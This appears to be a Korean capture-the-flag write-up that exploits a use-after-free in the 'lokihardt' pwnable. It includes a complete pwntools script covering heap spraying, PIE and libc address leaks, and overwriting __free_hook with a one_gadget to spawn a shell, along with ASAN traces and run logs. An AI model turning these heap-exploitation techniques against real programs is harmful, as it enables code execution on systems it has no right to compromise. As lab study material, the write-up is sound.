Environment
Ubuntu 16.04.7 LTS
문제 소스코드 및 실행 파일
https://github.com/giladreti/pwnable/tree/master/lokihardt
checksec
seo@ubuntu:~/lokihardt$ checksec ./lokihardt.orig
[!] Could not populate PLT: invalid syntax (unicorn.py, line 157)
[*] '/home/seo/lokihardt/lokihardt.orig'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
시행착오
alloc 딱 한번 했을 시 메모리 할당 내용
- alloc_once.py
#!/usr/bin/env python3
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import sys
p = process("./lokihardt") # local
# p = process("./lokihardt", env={"LD_PRELOAD": "./libc.so.6_patched"})
e = ELF('./lokihardt',checksec=False)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) # local
s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()
def alloc(idx, rdata, wdata):
sla("> ", "1")
sla("idx? ", str(idx))
if rdata or wdata:
s(rdata)
s(wdata)
def delete(idx):
sla("> ", "2")
sla("idx? ", str(idx))
def use(idx):
sla("> ", "3")
sla("idx? ", str(idx))
def gc():
sla("> ", "4")
def alloc_obj(rdata, wdata):
sla("> ", "5")
s(rdata)
s(wdata)
alloc(0, b"A"*256, b"B"*16)
pi()
- 메모리 할당 결과
gdb-peda$ parseheap
addr prev size status fd bk
0x5584574a9000 0x0 0x330 Used None None
0x5584574a9330 0xcccccccccccccc 0x120 Used None None

refCount를 0으로 만들고 gc 트리거하여,
dangling ptr 만들기
코드를 확인해보면, ArrayBuffer[idx]에 할당된 주소가 있는지 판단하지 않는다.
그래서 Delete를 호출하면 항상 refCount를 감소시킨다.
void Delete(unsigned int idx){
ArrayBuffer[idx] = NULL;
refCount--;
}
처음에 인덱스0에다가 할당한 다음, 할당되지 않은 인덱스1을 대상으로 Delete()를 해보자.
#!/usr/bin/env python3
...
alloc(0, b"A"*256, b"B"*16)
delete(1)
pi()
처음 인덱스0에 할당하려고 하면, Alloc()에서 무작위 크기로 할당한 영역에 0xcc로 도배된 패딩을 넣는다. 할당된 영역 주소는 randomPadding에 지정된다.
ArrayBuffer[0]은 theOBJ 에 의해 할당된 주소로 지정되며, refCount는 증가됨에 따라 1이 된다.
void Alloc(unsigned int idx){
unsigned int rlen;
if(refCount==0){
// According to some research papers, random-heap-padding mitigates heap exploits!
rlen = abs((rand()*1337) % 1024);
printf("rlen = %u\n", rlen);
randomPadding = malloc( rlen );
memset(randomPadding, 0xcc, rlen);
theOBJ = AllocOBJ();
}
ArrayBuffer[idx] = theOBJ;
refCount++;
}
theOBJ 는 AllocOBJ()에 의해 POBJ 구조체의 필드를 다음과 같이 값을 지정시킨다.
필드 중 rdata와 wdata , 해당 2가지는 우리가 임의로 제어 가능하다.
POBJ AllocOBJ(){
POBJ res = (POBJ)malloc(sizeof(OBJ));
memset(res, 0, sizeof(OBJ));
res->type = "null";
fread(&(res->rdata), 1, 256, stdin);
res->wdata = g_buf;
res->length = sizeof(g_buf);
fread(res->wdata, 1, res->length, stdin);
return res;
}
Alloc() 이후, Delete() 를 수행하면, refCount는 0이 된다.
ArrayBuffer에서 인덱스1을 대상으로 수행했기 때문에, 인덱스0에는 여전히 주소가 남아있다.
gdb-peda$ x/wx &refCount
0x5593a0374040 <refCount>: 0x00000000
gdb-peda$ x/16gx &ArrayBuffer
0x5593a0374048 <ArrayBuffer>: 0x00005593a0efc250 0x0000000000000000
0x5593a0374058: 0x0000000000000000 0x0000000000000000
0x5593a0374068: 0x0000000000000000 0x0000000000000000
0x5593a0374078: 0x0000000000000000 0x0000000000000000
0x5593a0374088: 0x0000000000000000 0x0000000000000000
0x5593a0374098: 0x0000000000000000 0x0000000000000000
0x5593a03740a8: 0x0000000000000000 0x0000000000000000
0x5593a03740b8: 0x0000000000000000 0x0000000000000000
이제 여기서 gc()를 수행한다면?
theOBJ와 randomPadding을 대상으로 할당 해제하지만, ArrayBuffer의 인덱스0에 여전히 주소가 남아있기 때문에 dangling ptr가 된다.
void gc(){
if(refCount == 0 && theOBJ != NULL){
free(theOBJ);
free(randomPadding);
theOBJ = NULL;
}
}
ASAN 환경으로 빌드한 다음,
gcc -o lokihardt lokihardt.c -fPIC -pie -Wl,-z,now -fsanitize=address
dangling ptr에 접근하기 위해, 인덱스0을 대상으로 Use()를 수행해보자.
alloc(0, b"A"*256, b"B"*16)
delete(1)
gc()
use(0)
use(0) 이후에는, ASAN에서 할당해제된 메모리 영역으로부터 값을 읽었다고 바로 감지한다.
이렇게 Use After Free 취약점이 있다는 증명을 마친다.
=================================================================
==2139==ERROR: AddressSanitizer: heap-use-after-free on address 0x61200000bfd0 at pc 0x55ce3f19897a bp 0x7fff19388e80 sp 0x7fff19388e70
READ of size 8 at 0x61200000bfd0 thread T0
#0 0x55ce3f198979 in Use (/home/seo/lokihardt/lokihardt+0x1979)
#1 0x55ce3f198e33 in main (/home/seo/lokihardt/lokihardt+0x1e33)
#2 0x7f418572283f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
#3 0x55ce3f198478 in _start (/home/seo/lokihardt/lokihardt+0x1478)
0x61200000bfd0 is located 272 bytes inside of 280-byte region [0x61200000bec0,0x61200000bfd8)
freed by thread T0 here:
#0 0x7f4185b642ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
#1 0x55ce3f19872f in gc (/home/seo/lokihardt/lokihardt+0x172f)
#2 0x55ce3f198e3f in main (/home/seo/lokihardt/lokihardt+0x1e3f)
#3 0x7f418572283f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
previously allocated by thread T0 here:
#0 0x7f4185b64602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x55ce3f198591 in AllocOBJ (/home/seo/lokihardt/lokihardt+0x1591)
#2 0x55ce3f198851 in Alloc (/home/seo/lokihardt/lokihardt+0x1851)
#3 0x55ce3f198d86 in main (/home/seo/lokihardt/lokihardt+0x1d86)
#4 0x7f418572283f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
SUMMARY: AddressSanitizer: heap-use-after-free ??:0 Use
Shadow bytes around the buggy address:
0x0c247fff97a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff97b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff97c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff97d0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c247fff97e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c247fff97f0: fd fd fd fd fd fd fd fd fd fd[fd]fa fa fa fa fa
0x0c247fff9800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff9810: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff9820: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff9830: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff9840: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==2139==ABORTING
NULL 문자열 주소를 유출하고, 바이너리 PIE 베이스 주소 구하기
dangling ptr를 만든 다음, rdata와 wdata필드에 “read\x00” 문자열이 도배된 OBJ 구조체가 할동되도록 10번 반복한다.
alloc(0, b"A"*256, b"B"*16)
delete(1)
gc()
# rlen can be 0~1024 by code `rlen = abs((rand()*1337) % 1024);``
# OBJ structure size is 280 bytes
# So we should spray at least four times
for i in range(4):
alloc_obj(b"read\x00"*int(256/5) + b"\x00", b"read\x00"*int(16/5) + b"\x00")
그리고 use(0)을 수행 했을 때, 어느 순간 NULL 문자열 주소와 함께 read 문자열이 도배되면서 나온다.

leak이 될 수 있었던 이유와 과정들을 설명하자면..
아래 코드와 같이 첫 할당을 했을 때,
alloc(0, b"A"*256, b"B"*16)
randomPadding이 앞에 붙어 있어서, 이 영역이 병합/재분할될 때 스프레이 청크들이 원래 theOBJ 자리에 정확히 안 떨어질 때가 많다.
하지만 내 케이스의 경우, rlen이 552이였고, ArrayBuffer[0] 객체 시작보다 0x10 낮은 곳에 배치되었다.
그 결과, ArrayBuffer[0]에 대한 type 필드를 읽으면, g_buf에 저장되있던 “read”가 읽히게 된다.

따라서 null 문자열 주소를 유출했다면, 베이스 주소를 쉽게 구할 수 있다.
- 코드:
for attempt in range(4141):
p = process("./lokihardt") # local
alloc(0, b"A"*256, b"B"*16)
delete(1)
gc()
# rlen can be 0~1024 by code `rlen = abs((rand()*1337) % 1024);``
# OBJ structure size is 280 bytes
# So we should spray at least four times
for i in range(4):
alloc_obj(b"read\x00"*int(256/5) + b"\x00", b"read\x00"*int(16/5) + b"\x00")
try:
use(0)
leak = rl()
if len(leak) < 256:
raise EOFError
except EOFError:
warn("attempt %d: bad alignment, retrying..." % attempt)
p.close()
continue
info("leak: {}".format(leak))
null_rodata_address = uu64(leak[:8])
info("leaked null address: {}".format(hex(null_rodata_address)))
e.address = null_rodata_address - next(e.search(b"null"))
info("obtained lokihardt base address: {}".format(hex(e.address)))
break
pi()
- 실행 결과:
...
[!] attempt 14: bad alignment, retrying...
[*] Stopped process './lokihardt' (pid 4029)
[+] Starting local process './lokihardt': pid 4031
[!] attempt 15: bad alignment, retrying...
[*] Stopped process './lokihardt' (pid 4031)
[+] Starting local process './lokihardt': pid 4033
[*] leak: b'8\xd2\xfd\xbauU\x00\x00!\x01\x00\x00\x00\x00\x00\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00- menu -\n'
[*] leaked null address: 0x5575bafdd238
[*] obtained lokihardt base address: 0x5575bafdc000
[*] Switching to interactive mode
- 1. : Alloc
- 2. : Delete
- 3. : Use
- 4. : GarbageCollect
- 5. : HeapSpray
libc 베이스 주소 구하기
PIE 주소를 구했으니 ArrayBuffer 전역변수 주소와 write, read 문자열 주소들을 차례로 구할 수 있다.
...
# ------------------------------------------------
ArrayBuffer_addr = e.sym.ArrayBuffer
info("ArrayBuffer@bss: {}".format(hex(ArrayBuffer_addr)))
write_ro_addr = next(e.search(b"write"))
info("write@ro: {}".format(hex(write_ro_addr)))
read_ro_addr = next(e.search(b"read"))
info("read@ro: {}".format(hex(read_ro_addr)))
# ------------------------------------------------
그 다음으로, ArrayBuffer의 인덱스1을 대상으로 한번 더 dangling ptr를 만든다.
전에 했던 것처럼 똑같이 4번 스프레이하여, 우리가 제어한 fake OBJ 구조체로 가리키도록 만든다.
제어하는데 성공했을 때, 원하는 ArrayBuffer[1] 구조체 구조는 아래와 같다.
OBJ->rdata= 256크기를 차지하는데, 사실 아무 데이터든 상관없음OBJ->wdata=ArrayBuffer[2]주소OBJ->length= 1024OBJ->type=“write”문자열 주소
g_buf 에는 “read” 문자열 주소를 2번 넣었는데, 추후 libc 베이스 주소를 구할 때 필요하다.
alloc(1, b"C"*256, b"D"*16)
delete(2)
gc()
pay = b""
pay += p64(ArrayBuffer_addr+16) # control wdata (where)
pay += p64(1024) # control length
pay += p64(write_ro_addr) # control type (what)
pay = pay*int(256/len(pay)) + pay[:(256%len(pay))]
for i in range(4):
alloc_obj(pay, p64(read_ro_addr)*2) # write read string ptr to g_buf
제어하는데 성공했다면, use(1)을 수행했을 때 your data? 문자열이 출력 될 것이며,
이제 ArrayBuffer[2] 주소부터 1024바이트만큼 우리가 원하는 데이터를 쓸 수 있다.
나는 아래와 같이 데이터를 구성해주었다.
- … +0x0:
g_buf+8주소값에서0x110만큼 뺀 값 - … +0x8:
ArrayBuffer전역변수 주소 값 - … +0x10 ~ +0x1024: 8바이트 정렬되있으며
read문자열 주소로 도배됨
try:
use(1)
leak = r(10)
if not b"your data?" in leak:
warn("attempt %d: bad alignment, retrying..." % attempt)
continue
except EOFError:
warn("attempt %d: bad alignment, retrying..." % attempt)
p.close()
continue
off_OBJ_type = 0x110
pay = p64(e.sym.g_buf + 8 - off_OBJ_type)
pay += p64(e.sym.ArrayBuffer)
pay += p64(read_ro_addr) * int((1024-len(pay))/8)
s(pay) # will be written at ArrayBuffer_addr+16
이제 use(2) 를 수행했을 때, got 영역에 있는 여러 주소 값들을 유출시킬 수 있다.
use(2)
leak = rl()
info("leak: {}".format(leak))
유출이 가능했던 이유는
ArrayBuffer[2] 주소에는 _ITM_deregisterTMCloneTable_ptr@got을 가리키고 있고,
OBJ 구조체에서 type까지의 오프셋 거리는 0x110이므로, g_buf에 있던 read 문자열 주소를 가리키기 때문이다.

전체 코드는 다음과 같다.
...
# ------------------------------------------------
ArrayBuffer_addr = e.sym.ArrayBuffer
info("ArrayBuffer@bss: {}".format(hex(ArrayBuffer_addr)))
write_ro_addr = next(e.search(b"write"))
info("write@ro: {}".format(hex(write_ro_addr)))
read_ro_addr = next(e.search(b"read"))
info("read@ro: {}".format(hex(read_ro_addr)))
# ------------------------------------------------
alloc(1, b"C"*256, b"D"*16)
delete(2)
gc()
pay = b""
pay += p64(ArrayBuffer_addr+16) # control wdata (where)
pay += p64(1024) # control length
pay += p64(write_ro_addr) # control type (what)
pay = pay*int(256/len(pay)) + pay[:(256%len(pay))]
for i in range(4):
alloc_obj(pay, p64(read_ro_addr)*2) # write read string ptr to g_buf
try:
use(1)
leak = r(10)
if not b"your data?" in leak:
warn("attempt %d: bad alignment, retrying..." % attempt)
continue
except EOFError:
warn("attempt %d: bad alignment, retrying..." % attempt)
p.close()
continue
off_OBJ_type = 0x110
pay = p64(e.sym.g_buf + 8 - off_OBJ_type)
pay += p64(e.sym.ArrayBuffer)
pay += p64(read_ro_addr) * int((1024-len(pay))/8)
s(pay) # will be written at ArrayBuffer_addr+16
use(2)
leak = rl()
info("leak: {}".format(leak))
i = leak.index(b"\x7f\x00\x00")
libc_stdout_addr = uu64(leak[i-5:i+1])
info("leaked libc stdout addr: {}".format(hex(libc_stdout_addr)))
l.address = libc_stdout_addr - l.sym.stdout
info("obtained libc base address: {}".format(hex(l.address)))
break
pi()
- 실행 결과:
[!] attempt 83: bad alignment, retrying...
[*] Stopped process './lokihardt.orig' (pid 48372)
[+] Starting local process './lokihardt.orig': pid 48374
[*] leak: b'XB\xd8\xf3!V\x00\x00!\x01\x00\x00\x00\x00\x00\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00- menu -\n'
[*] leaked null address: 0x5621f3d84258
[*] obtained lokihardt base address: 0x5621f3d83000
[*] ArrayBuffer@bss: 0x5621f3f85080
[*] write@ro: 0x5621f3d8361c
[*] read@ro: 0x5621f3d83623
[*] leak: b'\x00\x00\x00\x00\x00\x00\x00\x00\x08\xe7u\x18H\x7f\x00\x00\xa0\x86@\x18H\x7f\x00\x00\xb0q@\x18H\x7f\x00\x00\x10\xe7u\x18H\x7f\x00\x00\xf0!K\x18H\x7f\x00\x00\x10\xe8>\x18H\x7f\x00\x00p\xbaP\x18H\x7f\x00\x00\x80RF\x18H\x7f\x00\x00P\x03I\x18H\x7f\x00\x00P\x97;\x18H\x7f\x00\x00\xe08=\x18H\x7f\x00\x00\xf0\x85C\x18H\x7f\x00\x00p\xf1@\x18H\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xd1A\x18H\x7f\x00\x00\x80\x8e@\x18H\x7f\x00\x000\x01I\x18H\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0D@\x18H\x7f\x00\x00@0=\x18H\x7f\x00\x00\xf0v@\x18H\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe02=\x18H\x7f\x00\x00p?=\x18H\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08P\xf8\xf3!V\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00- menu -\n'
[*] leaked libc stdout addr: 0x7f481875e708
[*] obtained libc base address: 0x7f4818399000
[*] Switching to interactive mode
- 1. : Alloc
- 2. : Delete
- 3. : Use
- 4. : GarbageCollect
- 5. : HeapSpray
__free_hook@bss 주소에 원가젯 주소 덮기 (Arbitrary Address Write)
use(1) 을 수행하여, ArrayBuffer[2] 주소부터 1024바이트만큼 한번 더 제어한다.
각각 ArrayBuffer[2], ArrayBuffer[3]은 ArrayBuffer[4]@bss 주소 공간을 가리키게 만든다.
ArrayBuffer[4]@bss 주소 공간에는 fake OBJ 구조체 데이터를 만들며 다음과 같이 구성한다.
- OBJ->rdata = ‘
A’ 문자로0x100크기만큼 채움 - OBJ->wdata =
__free_hook@bss주소 (쓰여질 대상 주소) - OBJ->length = 8 (쓸 값 크기)
- OBJ->type = “
write” 문자열 주소
use(1)
pay = p64(ArrayBuffer_addr+32)*2
pay += b"A"*256 # char rdata[256]; // offsetof(OBJ, rdata) = 0x0
pay += p64(l.sym.__free_hook) # char* wdata; // offsetof(OBJ, wdata) = 0x100
pay += p64(8) # LONG length; // offsetof(OBJ, length) = 0x108
pay += p64(write_ro_addr) # char* type; // offsetof(OBJ, type) = 0x110
pay = pay + p64(0x8383838383838383)*int((1024-len(pay))/8)
sa(b"your data?", pay)
이제 use(3) 를 수행하면, 만들어진 fake OBJ 구조체에 의해
__free_hook@bss 주소에 원가젯 주소가 덮힌다.
use(3)
one_gadget_addr = l.address + 0x4527a
sa(b"your data?", p64(one_gadget_addr))
gc()를 수행하려면 theOBJ가 NULL이 아니어야 되므로
아래의 코드가 필요하다.
# Make not NULL to theOBJ
alloc(9, b"A"*256, b"B"*16)
delete(10)
이후 gc()에서, free()가 수행되면서 쉘을 획득할 수 있다.
gc()
- 전체 코드:
...
use(1)
pay = p64(ArrayBuffer_addr+32)*2
pay += b"A"*256 # char rdata[256]; // offsetof(OBJ, rdata) = 0x0
pay += p64(l.sym.__free_hook) # char* wdata; // offsetof(OBJ, wdata) = 0x100
pay += p64(8) # LONG length; // offsetof(OBJ, length) = 0x108
pay += p64(write_ro_addr) # char* type; // offsetof(OBJ, type) = 0x110
pay = pay + p64(0x8383838383838383)*int((1024-len(pay))/8)
sa(b"your data?", pay)
use(3)
one_gadget_addr = l.address + 0x4527a
sa(b"your data?", p64(one_gadget_addr))
# Make not NULL to theOBJ
alloc(9, b"A"*256, b"B"*16)
delete(10)
gc()
break
pi()
- 실행 결과:
[!] attempt 180: bad alignment, retrying...
[*] Stopped process './lokihardt.orig' (pid 49211)
[+] Starting local process './lokihardt.orig': pid 49213
[!] attempt 181: bad alignment, retrying...
[*] Stopped process './lokihardt.orig' (pid 49213)
[+] Starting local process './lokihardt.orig': pid 49215
[*] leak: b'X"_A\x82U\x00\x00!\x01\x00\x00\x00\x00\x00\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00- menu -\n'
[*] leaked null address: 0x5582415f2258
[*] obtained lokihardt base address: 0x5582415f1000
[*] ArrayBuffer@bss: 0x5582417f3080
[*] write@ro: 0x5582415f161c
[*] read@ro: 0x5582415f1623
[*] leak: b'\x00\x00\x00\x00\x00\x00\x00\x00\x08W\x01\xb6\x93\x7f\x00\x00\xa0\xf6\xcb\xb5\x93\x7f\x00\x00\xb0\xe1\xcb\xb5\x93\x7f\x00\x00\x10W\x01\xb6\x93\x7f\x00\x00\xf0\x91\xd6\xb5\x93\x7f\x00\x00\x10X\xca\xb5\x93\x7f\x00\x00p*\xdc\xb5\x93\x7f\x00\x00\x80\xc2\xd1\xb5\x93\x7f\x00\x00Ps\xd4\xb5\x93\x7f\x00\x00P\x07\xc7\xb5\x93\x7f\x00\x00\xe0\xa8\xc8\xb5\x93\x7f\x00\x00\xf0\xf5\xce\xb5\x93\x7f\x00\x00pa\xcc\xb5\x93\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80A\xcd\xb5\x93\x7f\x00\x00\x80\xfe\xcb\xb5\x93\x7f\x00\x000q\xd4\xb5\x93\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\xb4\xcb\xb5\x93\x7f\x00\x00@\xa0\xc8\xb5\x93\x7f\x00\x00\xf0\xe6\xcb\xb5\x93\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\xa2\xc8\xb5\x93\x7f\x00\x00p\xaf\xc8\xb5\x93\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x080\x7fA\x82U\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00- menu -\n'
[*] leaked libc stdout addr: 0x7f93b6015708
[*] obtained libc base address: 0x7f93b5c50000
[*] Switching to interactive mode
$ id
uid=1000(seo) gid=1000(seo) groups=1000(seo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),114(lpadmin),115(sambashare)
$ uname -a
Linux ubuntu 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
전체 코드 및 실행 결과
- 전체 코드
#!/usr/bin/env python3
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import sys
# p = process("./lokihardt") # local
# p = process("./lokihardt", env={"LD_PRELOAD": "./libc.so.6_patched"})
e = ELF('./lokihardt.orig',checksec=False)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) # local
s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()
def alloc(idx, rdata, wdata):
sla("> ", "1")
sla("idx? ", str(idx))
if rdata or wdata:
s(rdata)
s(wdata)
def delete(idx):
sla("> ", "2")
sla("idx? ", str(idx))
def use(idx):
sla("> ", "3")
sla("idx? ", str(idx))
def gc():
sla("> ", "4")
def alloc_obj(rdata, wdata):
sla("> ", "5")
s(rdata)
s(wdata)
for attempt in range(0x4141):
p = process("./lokihardt.orig") # local
e.address = 0
alloc(0, b"A"*256, b"B"*16)
delete(1)
gc()
# rlen can be 0~1024 by code `rlen = abs((rand()*1337) % 1024);``
# OBJ structure size is 280 bytes
# So we should spray at least four times
for i in range(4):
alloc_obj(b"read\x00"*int(256/5) + b"\x00", b"read\x00"*int(16/5) + b"\x00")
try:
use(0)
leak = rl()
if len(leak) < 256:
raise EOFError
except EOFError:
warn("attempt %d: bad alignment, retrying..." % attempt)
p.close()
continue
info("leak: {}".format(leak))
null_rodata_address = uu64(leak[:8])
info("leaked null address: {}".format(hex(null_rodata_address)))
e.address = null_rodata_address - next(e.search(b"null"))
info("obtained lokihardt base address: {}".format(hex(e.address)))
# ------------------------------------------------
ArrayBuffer_addr = e.sym.ArrayBuffer
info("ArrayBuffer@bss: {}".format(hex(ArrayBuffer_addr)))
write_ro_addr = next(e.search(b"write"))
info("write@ro: {}".format(hex(write_ro_addr)))
read_ro_addr = next(e.search(b"read"))
info("read@ro: {}".format(hex(read_ro_addr)))
# ------------------------------------------------
alloc(1, b"C"*256, b"D"*16)
delete(2)
gc()
pay = b""
pay += p64(ArrayBuffer_addr+16) # control wdata (where)
pay += p64(1024) # control length
pay += p64(write_ro_addr) # control type (what)
pay = pay*int(256/len(pay)) + pay[:(256%len(pay))]
for i in range(4):
alloc_obj(pay, p64(read_ro_addr)*2) # write read string ptr to g_buf
try:
use(1)
leak = r(10)
if not b"your data?" in leak:
warn("attempt %d: bad alignment, retrying..." % attempt)
continue
except EOFError:
warn("attempt %d: bad alignment, retrying..." % attempt)
p.close()
continue
off_OBJ_type = 0x110
pay = p64(e.sym.g_buf + 8 - off_OBJ_type)
pay += p64(e.sym.ArrayBuffer)
pay += p64(read_ro_addr) * int((1024-len(pay))/8)
s(pay) # will be written at ArrayBuffer_addr+16
use(2)
leak = rl()
info("leak: {}".format(leak))
i = leak.index(b"\x7f\x00\x00")
libc_stdout_addr = uu64(leak[i-5:i+1])
info("leaked libc stdout addr: {}".format(hex(libc_stdout_addr)))
l.address = libc_stdout_addr - l.sym.stdout
info("obtained libc base address: {}".format(hex(l.address)))
use(1)
pay = p64(ArrayBuffer_addr+32)*2
pay += b"A"*256 # char rdata[256]; // offsetof(OBJ, rdata) = 0x0
pay += p64(l.sym.__free_hook) # char* wdata; // offsetof(OBJ, wdata) = 0x100
pay += p64(8) # LONG length; // offsetof(OBJ, length) = 0x108
pay += p64(write_ro_addr) # char* type; // offsetof(OBJ, type) = 0x110
pay = pay + p64(0x8383838383838383)*int((1024-len(pay))/8)
sa(b"your data?", pay)
use(3)
one_gadget_addr = l.address + 0x4527a
sa(b"your data?", p64(one_gadget_addr))
# Make not NULL to theOBJ
alloc(9, b"A"*256, b"B"*16)
delete(10)
gc()
break
pi()
- 실행 결과
[!] attempt 46: bad alignment, retrying...
[*] Stopped process './lokihardt.orig' (pid 49316)
[+] Starting local process './lokihardt.orig': pid 49318
[!] attempt 47: bad alignment, retrying...
[*] Stopped process './lokihardt.orig' (pid 49318)
[+] Starting local process './lokihardt.orig': pid 49320
[!] attempt 48: bad alignment, retrying...
[*] Stopped process './lokihardt.orig' (pid 49320)
[+] Starting local process './lokihardt.orig': pid 49322
[*] Process './lokihardt.orig' stopped with exit code -11 (SIGSEGV) (pid 49322)
[!] attempt 49: bad alignment, retrying...
[+] Starting local process './lokihardt.orig': pid 49324
[!] attempt 50: bad alignment, retrying...
[*] Stopped process './lokihardt.orig' (pid 49324)
[+] Starting local process './lokihardt.orig': pid 49326
[*] leak: b'X\xe2\x84\xf0cU\x00\x00!\x01\x00\x00\x00\x00\x00\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00- menu -\n'
[*] leaked null address: 0x5563f084e258
[*] obtained lokihardt base address: 0x5563f084d000
[*] ArrayBuffer@bss: 0x5563f0a4f080
[*] write@ro: 0x5563f084d61c
[*] read@ro: 0x5563f084d623
[!] attempt 51: bad alignment, retrying...
[*] Stopped process './lokihardt.orig' (pid 49326)
[+] Starting local process './lokihardt.orig': pid 49328
[*] leak: b'XR\xc6\x9f\xb0U\x00\x00!\x01\x00\x00\x00\x00\x00\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00- menu -\n'
[*] leaked null address: 0x55b09fc65258
[*] obtained lokihardt base address: 0x55b09fc64000
[*] ArrayBuffer@bss: 0x55b09fe66080
[*] write@ro: 0x55b09fc6461c
[*] read@ro: 0x55b09fc64623
